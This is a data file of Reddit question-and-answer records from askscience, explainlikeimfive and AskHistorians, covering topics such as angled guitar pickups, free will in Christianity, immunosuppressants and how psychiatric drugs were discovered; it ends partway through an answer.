{"q_id": "b6h703", "title": "On a guitar, what are the reasons for an angled pickup?", "selftext": "I see guitars alot, mostly on stratocasters, where the bridge pickup is slanted. What effect does this actually have on the tone?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/b6h703/on_a_guitar_what_are_the_reasons_for_an_angled/", "answers": {"a_id": ["ejlcoyn", "ejlgmty"], "score": [7, 4], "text": ["Angling the pickup does two things. It repositions the individual pickup coil along the length of the string, and it changes the distance between the pickup coils relative to the strings.\n\nIn simple terms, the closer a pickup coil is to the bridge the \"twangier\" it will sound, and ideally you want each coil to be directly under a string.\n\nSo, the angled pickups are mostly to make the high frequency syrings less twangy, but sometimes are also there to align the coils. \n\n\nMore: Guitar strings vibrate at a fundamental frequency and then a series of harmonics (higher frequencies related harmonically to the fundamental). The closer you get to the center of the string, the greater the amplitude of the fundamental relative to the harmonics. That's why the position of the pickup affects the sound.", "\nThe original idea was to try and emulate the tone of a pedal steel guitar: to make the thicker strings sound warmer, the thinner strings to sound brighter. This creates a wider variety of tones between the strings.    \nMany guitarists (most noteworthy being Jimi Hendrix) used a reversal of this method to get a more balanced tone by taking the lower frequencies off the thicker strings, and taking higher frequencies off the thinner strings. \n\n The closer the pickup is to the center of the string length, the more room side to side the string has to travel between tension peaks. If the string is closer to the bridge, there is very little room it has to move between vibration cycles, allowing the pickup to magnetically gather more of the energy the string is carrying, but sacrifices the lower frequency tones in the process. The center of the string length has further to travel between tension peaks, so much energy is out of range of the magnet and therefore lost, but all the lower frequencies are present in energy picked up by the magnet.  \nThis means that a pickup closer to the bridge will have a \u201cbrighter\u201d, \u201ctwangier\u201d treble-focused tone, and pickups closer to the neck will have a \u201cwarmer\u201d, \u201csofter\u201d, bass-focused tone. \n\nAngling the pickup sets the pickup magnets in different distances from the bridge, which in turn gives each string its own EQ.   \nIf the angle of the pickup is down on the thicker string side, the EQ is set to balance the tones of the strings. If the angle of the pickup is down on the thinner string side, the EQ is set to exaggerate/emphasize the differences in tone between the strings.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "46x9d9", "title": "the difference between a singer and a vocalist.", "selftext": "My so called musically inclined friends say there is a difference between the two. Suposedly a singer sings in tune and with the music, while a vocalist is like a screamo or rock singer who instead just lays their vocals over a track. I dont fully trust their info. But if this is true then what would a rapper be?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/46x9d9/eli5the_difference_between_a_singer_and_a_vocalist/", "answers": {"a_id": ["d08hgle", "d08iacm"], "score": [5, 12], "text": [" They are the same by definition. However, people do assign non-official meanings.  \n  \nA good singer is someone who can sing in tune and has a pleasant voice. A good vocalist is someone who can do riffs and runs to their heart's content and/or is a powerhouse singer; so, Adele, Chrisitna Aguilera, Jessie J, Demi Lovato, etc. are examples of good vocalists.", "A singer is someone who sings.\n\nA vocalist is an umbrella term. It could be a singer, a rapper, or a screamer. You only say \"vocalist\" when you're referring to someone in a band or ensemble that involves other musicians. \n\nFor example, it would be weird, but not incorrect, to say that Lady Gaga is a vocalist. She is, but she doesn't really perform with other musicians. She's just her own artist."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "30e37u", "title": "christianity believes in \"free will\" and not predestination to heaven/hell, yet i was taught god knows \"every choice you will make\"?", "selftext": "If he knows every choice we will make, doesn't that mean technically were predestined to heaven/hell, since he knows where we will end up?\n\nedit:  At church years ago their response was something like:\n\nGod is like a father with an unruly teen.  He knows his kid will do drugs, sin, etc, and can do nothing to help. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/30e37u/eli5_christianity_believes_in_free_will_and_not/", "answers": {"a_id": ["cprjqt2", "cprjr8t", "cprjyy6", "cprjzc7", "cprkzgw", "cprl0eq", "cprlklg", "cprmfsg", "cprqce1", "cprqkzd", "cps2qbp"], "score": [5, 3, 4, 2, 2, 3, 12, 11, 2, 2, 2], "text": ["allegedly, God can see the future. and he knows you well enough to know what you will choose.", "Welcome to the wonderful world of paradoxes.  There are plenty when you introduce the concept of \"infinite\" to a being.  There's a lot of them in many religions.", "This is a disagreement among the Christian community as to which version is true. Some would go as far as throw multiverse theory in the mix and say God knows every possible choice you would make.", "Knowing what will happen based on free will and controlling someone's will are two very different things.", "An explanation I've heard is that God being omnipresent lives in every single moment simultaneously,  essentially seeing past, present, and future all as present... accept that if you will, or dont.", "And the tooth fairy knows when you'll lose a tooth", "Well, some denominations do believe in predestination. Calvinists are the first to come to mind, they believe that God chose who would go up to heaven before he even created the earth.", "This is a complicated question and I'm not sure I understand it myself, but here goes.\n\nFirst, you talk about predestination. The apostle Paul *does* say that God has predestined those he chose, i.e. believers. Romans 8: 29-30 says:\n\n >  For those God foreknew he also predestined to be conformed to the image of his Son, that he might be the firstborn among many brothers and sisters. And those he predestined, he also called; those he called, he also justified; those he justified, he also glorified.\n\nElsewhere, in Ephesians 1:4-5, Paul says:\n\n >  For he chose us in him before the creation of the world to be holy and blameless in his sight. In love he predestined us for adoption to sonship through Jesus Christ, in accordance with his pleasure and will ...\n\nSo, apparently, God *has* predestined believers to heaven. What exactly that means, and whether this means God has predestined others to hell, are open questions, even within Calvinist circles.\n\nAs for God knowing the future, think of our experience of time as being like driving down a road you've never been on before. As you go along, a barn appears on the right, then disappears. Then the road turns a corner to the left. Then you go over a bridge, or under a tunnel, or past a cemetary, or whatever. These seem to be events, that you don't see coming. You have no idea whether the next \"event\" will be a bridge or a turn or a railway crossing, etc., because it is \"in the future\", and your entire \"life\" is confined to one-way travel on that road. But if I'm sitting at home, looking it up on Google Earth, I can tell you what happens next. It's not a surprise to me, because my experience is greater than just travelling down that road.\n\nGod's view of the future is kind of like that. He exists outside of time. God knows the future the same way I would know the \"future\" of your trip down the road, because I can see the whole thing.\n\nI admit, this isn't a perfect analogy, because your going down the road is mostly things happening to you, rather than you making choices. But in any event, you're only going to choose to do one thing. And God knows what that is.", "Consider this thought experiment:\n\nGod is all-powerful.\nGod can send messages back in time.\nGod could send a message back in time to Himself that tells Him of our future choices.\n\nOf course, that thought experiment is short-sighted. God already knows everything. There is no possible error in His knowledge. How does that impact free will?\n\nIt says that things in the future only have one possible outcome. And that outcome happens to be the choice we will make.\n\nFree will is magic. It's beyond logic, just like God is and the existence of anything genuinely subjective/the soul is. We have a choice to do one thing or another, and to us, our choices happen over time. However, to God, whose consciousness is not bound by time, it might be said that all our choices appear to Him \"simultaneously.\"\n\nHow are they free? Well, even if God \"didn't know the future,\" there would be no mechanism that explained a genuine, non-deterministic choice between A and B in our minds without going beyond logic itself. Free will requires going beyond logic, as does the idea that God (a subjective being) is the First Cause. The existence of a universe which *can* go only one way, and gives us *genuine* choice, can likewise only be explained by a God who \"magically\" gives us genuine choice and \"magically\" knows what our future choices will be.\n\nOf course, some other denominations would dispute that \"free will\" exists at all. I'm just going by what I receive from the Bible and Holy Spirit, and how it makes sense to me.", "In your statement you said he knows every choice you will make but I believe you forgot to think about Him knowing every choice you wouldn't make.  He knows all the choices of everything (chosen or not) and the relationship of all those choices to everyone through out the ages.  Whew!  That's a lot of knowing. :)\n\nWe can examine free will by saying we choose one of those choices.  We are also told God offered us this choice and He will not interfer unless we ask him to.  God is aware we have made bad choices or choices He may deem as good lessons to be learned.  Since we are very limited with understanding this life we are in no position to understand why He allows us our choices.\n\nI am going to guess that God wants us to trust Him.  We call that faith and you will see all kinds of this level of trust we call faith throughout your life starting with the faith that you know your mother loves you.  \n\nNow you know your mother loves you so why did she allow you to do certain things that would prove to be uncomfortable?  Maybe she said, stop jumping in puddles and you didn't listen?  So the results were you became wet, cold and miserable. \n\nNow you are probably thinking That's not the same thing as God allowing us to have pain and suffering and I can understand that point of view.  But I also see pain and suffering in a much bigger light.  God tells us we are infinite.   This life is but a small fraction that we will live.  I am also aware that each of us experiences pain differently than another.  Which makes me think that pain and suffering is in the mind of the beholder.  Perhaps God sees us as reacting to this as non important compared to what we learn from it?  Maybe we are just babies reacting to our envirnoment and we have a lot of growing to do?  Maybe we are designed to feel pain and suffering to teach us compassion and empathy?   So we don't become completely Narcissistic? \n\nWhich brings us back to why God would allow us to make bad choices and not intervene.  Does any of us know more than God?  Is anyone on equal terms of intellect with the all knowing?  I think I will just trust God knows what He is doing and have faith it will benifit me without me asking, \"why me?\"", " >  I have noticed that those who assert that everything is predestined and that we can change nothing about it still look both ways before they cross the street. \n\n- Stephen Hawking "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1fampy", "title": "With regards to the KKK, how accurate are the claims about Gen. Forrest in the interviews in this video?", "selftext": "_URL_0_", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1fampy/with_regards_to_the_kkk_how_accurate_are_the/", "answers": {"a_id": ["ca8emjg"], "score": [3], "text": ["Its hard to say what the exact truth on the matter is since the KKK has always been a \"private club\" and all the details about their inner workings are not totally public knowledge. My understanding of Nathan Bedford Forrest's involvement in the Klan was that he was Grand Wizard for a short time but then left the KKK.  I've been told that he did so because he felt that their beliefs and practices had changed and that they were becoming too violent.  That seems like an odd sentiment coming from a Confederate General who was known for his active involvement in battles.  It seems more likely to me that he recognized that the first KKK was weakening and left the organization for that reason considering that the first KKK dissolved not long after. "]}, "title_urls": [], "selftext_urls": ["http://youtu.be/AKHoHlh7dIM"], "answers_urls": [[]]}
{"q_id": "4zxv77", "title": "How exactly does the McCollough Effect work, and why does it last so long?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4zxv77/how_exactly_does_the_mccollough_effect_work_and/", "answers": {"a_id": ["d70rtpc"], "score": [5], "text": ["the mccollough effect specifically refers to the binding of a color aftereffect to a particular pattern. so, if i adapt to a set of red-green stripes, and then view a set of grayscale stripes, they will appear faintly green-red striped - and they will appear that way tomorrow, next week, even months into the future (granted with some steady decline in the strength of the effect).\n\nthe aftereffect part seems easy to explain as adaptation of color-opponent mechanisms (including retinal, thalamic, and cortical sites, all together), but adaptation doesn't explain why it lasts so long. we don't know why this is! it's some kind of one-shot perceptual learning, where a particular shape is being learned in the context of a very weak color signal so that the shape 'facilitates' the color, kind of like how if you reduce the saturation of a photo just enough it will look monochrome briefly, but will then reacquire its color appearance.\n\nbut the mechanism for this kind of learning is not understood at all. the mccollough effect is in every intro perception textbook, and perceptual learning is one of the main streams of current vision science, but for some reason unknown to me, no one is touching it.\n\n*edit*\n\nnow that i think about it, there is recent research, several papers over the last few years by Min Bao and Stephen Engel, showing that there are very slow components of contrast adaptation processes that have long been thought to operate on very short time scales; I don't think they've looked at color adaptation effects, but they've probably considered the mccollough effect somewhere in some context.."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4r77m4", "title": "why do toddlers feet look funny and mostly flat?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4r77m4/eli5_why_do_toddlers_feet_look_funny_and_mostly/", "answers": {"a_id": ["d4ysbqx", "d4yx2u3"], "score": [8, 35], "text": ["An adult foot contains 26 bones and 35 individual joints. All of these are held tightly together by muscle and ligament. However, a child does not start walking until roughly 18 months of age. Before this time, the feet are useless and not fully developed. That is why a baby's foot appear mostly padded, and the lack of tension supplied by the tendons give it a flat appearance. ", "Because they're not finished. An adult foot has a core frame of bones that provide shape and support, which are closely connected at the joints.\n\nA baby's foot, by comparison, has little baby bones kind of floating in the flesh that don't connect to each other at all. Each bone grows out from the middle to connect to the others. The x-ray in the link below shows how a baby's foot bones are arranged.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://images.radiopaedia.org/images/430027/cf9f2c57fd7c1835aa33d09647f1ce_big_gallery.jpg"]]}
{"q_id": "7k2932", "title": "how do immunosuppressants work?", "selftext": "I've just gone on Azathioprine and been feeling worse because of it. But it got me thinking: what does it actually do? Come to think of it, what actually is your immune system? We talk about it so much but never in any depth.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7k2932/eli5_how_do_immunosuppressants_work/", "answers": {"a_id": ["drb15ht", "drbnkvb", "drbvycp", "drcxx4a"], "score": [2, 2, 2, 3], "text": ["Your body naturally is made up of cells, and those cells contains proteins and DNA and other markers that are part of you\n\nThe immune system is the system of cells that identify foreign markers, and proceeds to remove whatever is making those markers\n\nIt does this through the use of a few main components, but one of the most important ones is antibodies\n\nAntibodies are proteins created by what we call B cells, and they have certain regions on them which can detect very particular foreign markers. Because it's so particular, we make a lot of different types of antibodies to match as many of the possible foreign particles as possible. When an antibody has found something, it tells your body to start producing a ton more B cells containing that type of antibody, and in turn, make tons and tons more antibody, which target the foreign markers and leads to the process of making it less dangerous\n\nImmunosuppresants are used to limit some step in that process. It's normally because of an organ transplant, because the new organ is seen as foreign to us and we don't want to destroy it on accident\n\nAt the same time, suppressants are not very good at being specific, so they shut down the entire system, which means there is nothing available to fight off infection, which makes you feel awful", "Immunosuppressant drugs are used to treat autoimmune diseases and reduce the risk of rejection in organ transplant. With an autoimmune disease (e.g. lupus, psoriasis, Crohn's disease, multiple sclerosis) the immune system attacks the body\u2019s own tissue. Because these specific group of drugs weaken the immune system, they suppress this reaction. Hence, it helps to reduce the impact of the disease on the body. In the case of organ transplant, your body's immune system tend to see a transplanted organ as a foreign mass. As a result, your immune system attacks the organ as it would attack any foreign cell. This can cause severe damage and lead to needing the organ removed. Immunosuppressant drugs again are used to weaken your immune system to reduce your body\u2019s reaction or rejection towards the foreign organ. The drugs allow the transplanted organ to remain healthy and free from damage.", "Azathioprine specifically stops cell replication of immune cells by preventing the proteins of that process to correctly transcribe your DNA into RNA. \nCyclosporine, another immunosuppressant, works towards the same goal, but with a different mechanism (it prohibits the replication inducing factors to start working in your cell's nucleus, where the DNA is stored). \n\nThis means that your body has less immune cells that can attack (either things that can cause damage, aka pathogens, or a transplant falsely recognized as such, or even your own body falsely recognized as such, which is what happens in autoimmune diseases). You might be feeling worse because your body is now limited in it's capacity to fight pathogens, and there are some opportunitistic ones that are usually kept in check by a healthy immune system, but cause illness when one's immune system is compromised.\n\n", "Immune system refers to various specialized cells (T cells, B cells, Natural killer cells, among others) that recognize and attack foreign antigens (bacteria, viruses, fungi etc.) As these cells are formed they go through a process that ensures they will only recognize and attack these foreign invaders and not your own cells. In a healthy individual, if they fail this process they are destroyed before they can go out and cause damage to your body. In individuals with an autoimmune disorder, there is generally a failure somewhere in this process that allows these cells to become active and attack their own cells (or in the case of an organ transplant, there are now foreign cells implanted in your body but you obviously don't want your cells attacking them). So the role of immunosuppressants is to prevent your body from forming these immunity cells at all or otherwise limiting their function. This obviously leaves you open to attack from any sort of bacteria/virus that may enter your body. These drugs can also affect some of your non immune cells which leads to some of the side effects that go with these drugs. \n\nActual ELI5:\nYour body creates an army of cells that are trained to recognize and attack other cell armies if they invade your body. If you have a soldier or group of soldiers in your army that skips through this training, he may start attacking your own kindom/citizens. This is obviously bad so now you need to bring in the immunosuppressants to simply clear out your army to prevent it from causing any more harm. While you are open to attack from the outside invaders, you at least don't have your own soldiers causing as much damage anymore."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "eomdf5", "title": "Did European military leaders really come to the U.S. to observe and learn from the American Civil War?", "selftext": "I sometimes hear that European observers were present to some extent during the Civil War to see what was going on and \"take notes\" so to speak. And that they were eager to do so because the Civil War included a lot of new technology that hadn't been applied to European warfare on a large scale (telegraphs, railroads, and others).\n\nIs there any truth to all of this?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/eomdf5/did_european_military_leaders_really_come_to_the/", "answers": {"a_id": ["fedx7po"], "score": [11], "text": ["There's always more to add, but u/vonadler wrote about this in a [previous thread ](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/askhistorians/comments/8h4x03/_/dyhhnbl"]]}
{"q_id": "2kiqnl", "title": "How do we have drugs that are used to treat bipolar disorder and schizophrenia if we don't know what causes these diseases in the first place?", "selftext": "I was talking to a psychiatrist about why Lithium is used to treat bipolar disorder and he said that it is really unclear why it helps people with disease. My question is how is it possible that we are able to design drugs that are used to treat these illnesses if we don't know what the brain is actually doing in the first place. I only included 2 diseases in the title but if there are other better examples I would like to hear about those as well.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2kiqnl/how_do_we_have_drugs_that_are_used_to_treat/", "answers": {"a_id": ["cllqv0a", "clluuir", "cllvr4b", "cllx2yu", "cllx6o5", "cllxzti", "clly19n", "cllzgan", "cllzgpg", "clm0goj", "clm0r1l", "clm0wus", "clm1zyw", "clm2gy3", "clm3vgm", "clm46l3", "clm5tep", "clm625u", "clm6gzc", "clm6w9p", "clm7n77", "clm8xix", "clm9dwd", "clmaonr", "clmasb4", "clmi04m", "clmo87e"], "score": [2430, 26, 41, 13, 7, 34, 4, 8, 2, 7, 2, 3, 5, 4, 11, 3, 5, 13, 6, 5, 5, 2, 3, 2, 2, 2, 3], "text": ["In the early 1990's Pfizer was testing a drug called UK92480. Their pharmacologists were working on a drug to treat anginas, a general pain in the heart or blood vessels indicative of coronary heart disease. They went to Phase I trials, but noticed little to no effect on angina. Though it may be apocryphal, it's said that even though the medicine didn't work some patients didn't want to return their supplies. During that trial an amazing side-effect was discovered: firm, long-lasting erections. Pfizer quickly scrapped the angina trials and proceeded to send the drug to trials for erectile dysfunction instead. That medicine is now called Viagra.\n\nDrug discovery is not an easy thing. We might know a generalized cause of a disease and we might know the exact pathology and we might even know the shape of the binding sites on a cell which might change some important action in the cascade of signals that cause the symptoms.  But even if we do know all of this and design a drug specifically to act on that site, there's no guarantee that our drug won't interact with other systems in unintended ways.  Nor is it guaranteed that it will alleviate symptoms as expected. IIRC, only one in 5 or 6 thousand developed medicines ever gets approved and released.\n\nAnd such is the same way that many bipolar drugs were discovered. The most famous bipolar drug, lithium, was used 150 years ago to treat severe gout. Lithium was able to quickly dissolve uric acid and, very coincidentally, acid buildup was thought at the time to be a source of many disorders of the body, including mental disorders. Later (and independently), lithium\u2019s tranquilizing effects led one researcher to test it on unruly mental ward patients. Over the period of a few weeks, the manic patients (but not the schizophrenic patients) were healthy enough to be discharged.\nThis accidental discovery of medicines is prevalent everywhere in drug development. Available treatments for bipolar hint at this, containing not only lithium salts and anti-psychotics, but a wide array of anticonvulsants too. These weren\u2019t originally designed for bipolar, but the effects were stumbled upon later and proved effective enough to be prescribed independent of convulsive symptoms.\n\nAnd I guess here\u2019s the kicker at the crux of your question: you\u2019re right.. we still don\u2019t really know how they work. In the case of bipolar medicines, we know that the ones most effective are those that regulate serotonin and GABA reuptake at neuron junctions. But Lithium, it\u2019s suggested, works by affecting the sodium/potassium channels along the neurons (and subsequently affecting the ability of the neuron to fire). We just don\u2019t know.\n\nIt was a little bit disheartening for me when I learned the extent to which medical progress seemed to rely on accidents. But, as illustrated well by this example, as I became more involved with research I realized how important serendipity like this was to research. Even though we don\u2019t know exactly the mechanism by which these medicines work, we know so much more about the disorders (and many others) *because* these medicines work. We're attacking our problems from both the practical and the theoretical, each of them informing the other as to where to go next.", "First, very good question with very good response, so thanks.\n\nMy only two cents to add is about Lithium, which echoes theshizzler's response about being discovered as opposed to designed.  Here's a page that explains it and the first couple of paragraphs are what I found most interesting.\n\n_URL_0_\n\n", "It's not uncommon to have a drug that treats a condition even though scientists have little idea why it works. When going for approval, they need to show a) that it works, and b) the benefits outweigh the side effects. A full explanation of the mechanism of action on the condition is not always required. However, information on the metabolism of the drug is very important to determine its safety.", "There's no reason why you need to know how a treatment works to know that it does work. Heck, you can even be completely wrong about how it works. People used to believe in the miasma theory, which said that disease is transmitted through a cloud of tainted air. They correctly noticed that staying away from sick people make you less likely to get sick. Of course, the theory is wrong, but the treatment works great.", "Many anaesthetic drugs (such as all the volatile anaesthetics) have an unclear mechanism of action, what we know is that they do work.  We can even create new ones and predict their properties, but the proposed mechanisms do not cover it properly.", "You have stumbled upon a recurring theme in discovery.  Sometimes we know *what* works without knowing *why*.  This is why fundamental science is important, it fills in the why, and lets us discover more whats.", "They don't. It's generally by accident and when drugs are prescribed for mental illness they are generally taking educated guesses as to what will work.\n\nThe drug a mental illness patient will use and the dosage they take is normally arrived at through a back and forth between doctor and patient, and a period of time without symptoms or major episodes, IF the patient is getting proper care. \n\nIf you know someone that has these issues and the doctors is just insisting on using one type of drug without the back and forth, then their Dr is terrible and you should suggest they get a new one. ", "The first drug that was found to be effective for schizophrenia was chlorpromazine in the earlier 1950's. It was developed from promethazine, an antihistamine (Phenergan) in an attempt to find a better sedative patients for surgical procedures. They found that it calmed patients and tested it in psychiatric patients and found unparalleled improvement in schizophrenia - it was a huge breakthrough.\n\nWhat gets more interesting is that many of our theories as to what causes schizophrenia comes from effective treatments for the condition. One of the side effects of chlorpromazine are extrapyramidal side effects, movement disorders that can be like Parkinson's disease. Given that Parkinson's disease is due to a deficiency in dopamine (and can be treated by administering the precursor to dopamine, levodopa), and chlorpromazine causes Parkinson's-like symptoms, it followed that chlorpromazine might be effective because it reduces the amount of dopamine in the brain. Obviously there's a lot more to it than that and we've learned a lot since, but new effective therapies for schizophrenia have substantially improved our understanding of the disease and in turn led to the development of new, better therapies.", "I don't think that they don't understand the disease, I think they just don't know exactly how it works. Knowing what receptors are firing when and then creating a drug that either acts as an agonist or antagonist for that neurotransmitter can possibly help balance mood. \n\nKinda aligns with the knowledge we have about opioids. We know that the body uses endorphins to reduce pain. Through trial and error, we found drugs that act on the mu opioid receptor worked best. \n\nIt's all about the neurotransmitters and the paths they take throughout the brain. That's my understanding at least, someone please add or correct me if I'm wrong of course! ", "I am typing from my phone so please excusd any typos.\n\nThere is a theory about why Lithium works as a drug. Lithium is in fact the same lithium you find on a periodic table in ionic form. It holds the same charge as sodium. Sodium is important in the body for depolarization, on im short it makes things happen in your body.  It is a major reason behund why nerves fire etc. Lithium,  having the same charge as sodium, can stabalize a cell, making it harder for it to depolarize or \"do things\".  This stabalization leads to a more stable mood.  \n\nAs a side note about another way lithium acts like sodium is in tge Kidney. It is why someone whonis taking lithium has to go tonthe bathroom a lot. Because like sodium, the lithium draws water into the kidney to be urinated out :)\n\nAs far as other things like schizophrenia,  they do have some understanding of the chemical imbalances that occur, and they do know the mechanism of action for antipysichotics. But mental disease is very multifactorial. Also there is the ethical issue that comes along with poking around a living persons brain, that prevents more reaearch being done to get the specifics.", "There are two ways that we can manage or treat disease states. The most ideal way is to treat the cause of the disease state *directly*. This is called primary therapy. We can also manage the *symptoms* of the disease states which is called secondary therapy. Secondary therapy is obviously sub-optimal because it only helps alleviate the symptoms of the disease and doesn't actually help cure it.", "Ethnobotany is one source of leads for drugs.  How natural medicine is used among tribes and civilizations has led to many (most?) of the less obvious drug discoveries.  \n\nAspirin was \"discovered\" from the traditional use of willow bark, which was practically world-wide, as an analgesic.\n\nThe issue with using natural molecules is that they are unpatentable, so that development of treatments from ethnobotanical use of a plant also involves trying to find a patentable synthetic analog, or other way to commoditize the molecule. \n\nOne example of this is how one drug company persuaded the FDA to allow them to patent Tamiflu, which is the extract of shikimic acid from the star anise seed.  Star anise is used in Ayurvedic medicine and (I believe) Traditional Chinese medicine as a cold and flu remedy (along with other herbs).  The pharma company persuaded the FDA to allow it to patent Tamiflu on the grounds that the *process* by which it extracted and highly concentrated the Tamiflu was extremely complex and proprietary.\n\n[Link to an Ayurvedic medicine web page for star anise](_URL_0_).  Disclaimer: I'm not encouraging anyone to go out to use star anise for your colds and flus.  There's a look-alike that people use in ornamental gardening here in the States that's poisonous.", "Many, many drugs were discovered back in the old days through what is called phenotypic screening where you simply  throw a small molecule into say a cellular experimental system and observe to see if you get a desired outcome.  This method was wildly successful, but back in the 80s and 90s with the advent of new DNA technology and molecular biology techniques, we began to move away from phenotypic drug discovery and towards what is known as targeted discovery.  Targeted discovery is where you try to understand at a molecular level exactly what causes a disease and then try to design drugs to hit exactly what molecular target might be causing disease X.  Ever since we've moved toward targeted drug discovery and this idea that it is possible to understand the exact underpinnings of a disease at the molecular level, we've become less and less successful at making new drugs.  The problem with thinking that you can understand disease at the molecular level is due to the fundamental problem of reductionism in science.  When you simply attribute a disease as being caused by pathway X in a cell,  you ignore how a cell works as a system with many different signaling networks that can produce robustness which can overcome your targeted approach and make your targeted molecule fail.  A cell has many, many moving parts and reductionism is extremely dangerous, especially when it comes to biology.  This is why many many scientists are calling for a return to phenotypic screening-- we don't really understand how many diseases work on a systems level.  That, however, doesn't mean you can't make a drug to treat those diseases through a phenotypic approach.  Contrary to popular belief,  the FDA does not require you to even know the mechansim of action for a drug, as long as a drug does what you say it will do with acceptable side effects, it is still possible to get a drug approved.  Many drugs that were discovered back in the old days through phenotypic screens that have provided tremendous therapeutic benefits for decades , when tested in panels for many targets,  often light up such assays like Christmas trees, meaning they often work by hitting multiple pathways and multiple aspects of cellular physiology.  In summary,  you dont need to know what causes a disease to make a drug; screen phenotypically and look for a desired outcome.  It has work extraordinarily well before!", "I read in an article once about this very topic once. The thesis of the argument was how completely backwards it is that we assume these disorders are caused by low levels of whatever the drug contains. It would be like assuming aspirin treats pain because pain is caused by a shortage of acetaminophen in the body (which we know to be completely untrue). ", "Lithium was a life saver for me; I had childhood onset schizo/ psychotic bi-polar, it let me actually complete CBT and CSC treatments. Lithium carbonate was found to have an effect on mania and depression by John Cade during uric acid experiments. He noticed the guinea pigs had calmed down after injection, so basically it was discovered by total accident. People with mania naturally have cocaine levels of dopamine in their system, so anti-psychotics work by reducing dopamine. They are still unsure of why lithium works.", "First of all, they're not diseases, they're disorders. A psychological disorder is simply a label we give certain personality traits to help us know the best way to treat them. All the treatments we give people for certain mental disorders are simply because they've shown positive results in the past. \n\nThe reason we don't know what causes these is the same reason we don't know why some people prefer basketball over football.", "Bipolar and Schizophrenia have drugs that help with the symptoms of these illnesses, but do not cure them.  In fact as the years have gone by many of the older drugs like Lithium are being used less and less in a lot of cases because they aren't as well tolerated or effective as once thought.  Honestly these illnesses have not had enough money and source funding for finding any better replacement medications or alternative treatments just as with other brain illnesses.  Mental illness is low on the totem pole when it comes to Government funding and or Charity.  But in answer to your question they are just using these various medications like Seroquel for example to mainly treat symptoms.  I have someone in my family (actually two people) one has severe Schizophrenia and the other has Bipolar Type I.  It is amazing how these illnesses do in fact run in families.  Which leads me to believe there is indeed a heavy linkage \"gene wise\" that runs in the blood lines of families.  Most people think that just taking the medications alone is enough or that somehow it is a cure all, but it really isn't.  These medications need constant tweaking over the years, and they cause serious side effects like Diabetes, Tremors, PVC's of the heart, Huge weight gain etc.  A person must be constantly monitored while on these types of medications.  Most people with Bipolar lose their creativeness and become very blunted emotionally while on these meds.  That is why so many people with Bipolar don't like taking these medications.  I also have seen in my family where **ongoing psychiatric counseling and talk/cognitive therapy is needed life long.**  So medications alone are not enough.  Learning to recognize 'triggers\" and emotional waves is very important and understanding ones own illness and how to interact with others on a day to day basis.  Learning how to manage change and crisis is also very important.  The other thing I would like to mention is if you are a family with someone that suffers from these brain illnesses, you as a family should invest life long counseling for yourself.  Learning how to manage a loved one with these illnesses is just as important as them taking their meds and going to therapy.  It isn't a one way street where all the onus is up to the person with the illness.  Anyway, we are so behind right now on trying to find real answers and cures for these brain illnesses.  I use to have to work with co-workers whom I recognized very Bipolar like behavior that made it really hard to deal with them in the office.  Most people with untreated Bipolar and or Schizophrenia have a hard time keeping a job since their perceptions are askew and not the norm.  Hope my answer helped a little.", "Trial and error. \n\nHad a Dr explain to me: we really don't understand most mental health disorders or the drugs we use to treat them. But we do know that certain drugs exhibit a range of effects and side effects. So we try to start by matching drugs with likely positive effects and the most benign side effects. If that doesn't work, we try to understand what effect the drug *did* have, and based on that, we'll keep trying other drugs, each time risking different side effects. If we find something that works, we'll stop there. ", "For the same reason human toddlers can walk without knowing exactly how their bodies are balancing or which bones are in their legs and so forth. If it works, it works. Knowing the *why* is nice (really nice), but it's not necessary.", "The sad truth is that in many cases those drugs do little to acctually _help_ those dianosed with schizophrenia. In fact, the long-term outcomes literature for antipsychotics, which has been compiled over a period of nearly 50 years, consistently tells of drugs that increase the likelihood that a person diagnosed with schizophrenia will become chronically ill. \n\nIt seems paradoxical that drugs that ameliorate acute psychotic symptoms over the short term will increase the likelihood that a person so treated will fare poorly over the long term. But that disturbing fact showed up in the very first outcome studies, and has continued to show up ever since.\n\nSee Robert Whitaker's book, \"Anatomy of an Epidemic\" for a troubling and intellegent investigation into the history of psychiatric medications and why they are possibly fueling the quickly increasing rate of mental disability in America.\n\n[Here's a link](_URL_0_) to many scientific articles relating specifically to schizophrenia.\n\n", "You have heard that correlation does not imply causation? Well, we don't know the cause but we do observe a correlation between drug administration and symptom relief. A lot of science goes into understanding why a drug does what it does and using those insights to develop variations of a drug to see how the effects amplify, diminish, or change entirely.", "Million dollar question! ", "We also prescribe seizure medication off-label because it acts as a mood stabililzer for people with bipolar disorder and other associated disorders. No clue why that is; there are theories, of course, dealing with neurons and neurotransmitters, but the evidence isn't really there on those theories yet.", "Drugs aren't necessarily designed and based on a deep understanding of an illness and why it causes what it causes in a person. They're often just discovered serendipitously. We're more like tinkerers with drugs than engineers. If it works, it works (or it doesn't, or it does more than intended... ). This is evident in the fact that there is a lot of research into WHY drugs work in the way that they do.", "Maybe you've heard of Abilify (aripiprazole). It's a antipsychotic meant for treating disorders such as schizophrenia and depression. However somewhere around ... Probably a little less than 10 years ago doctors found that it was also quite effective at treating tic disorders like Tourette's.\n\nIt's still not really understood why it works and in what cases it works. The layman explanation is that dopamine is a tricky thing. Neurologists and chemists still aren't sure just exactly how far the effects of dopamine levels cascade throughout the body, but have found that raising or decreasing its levels 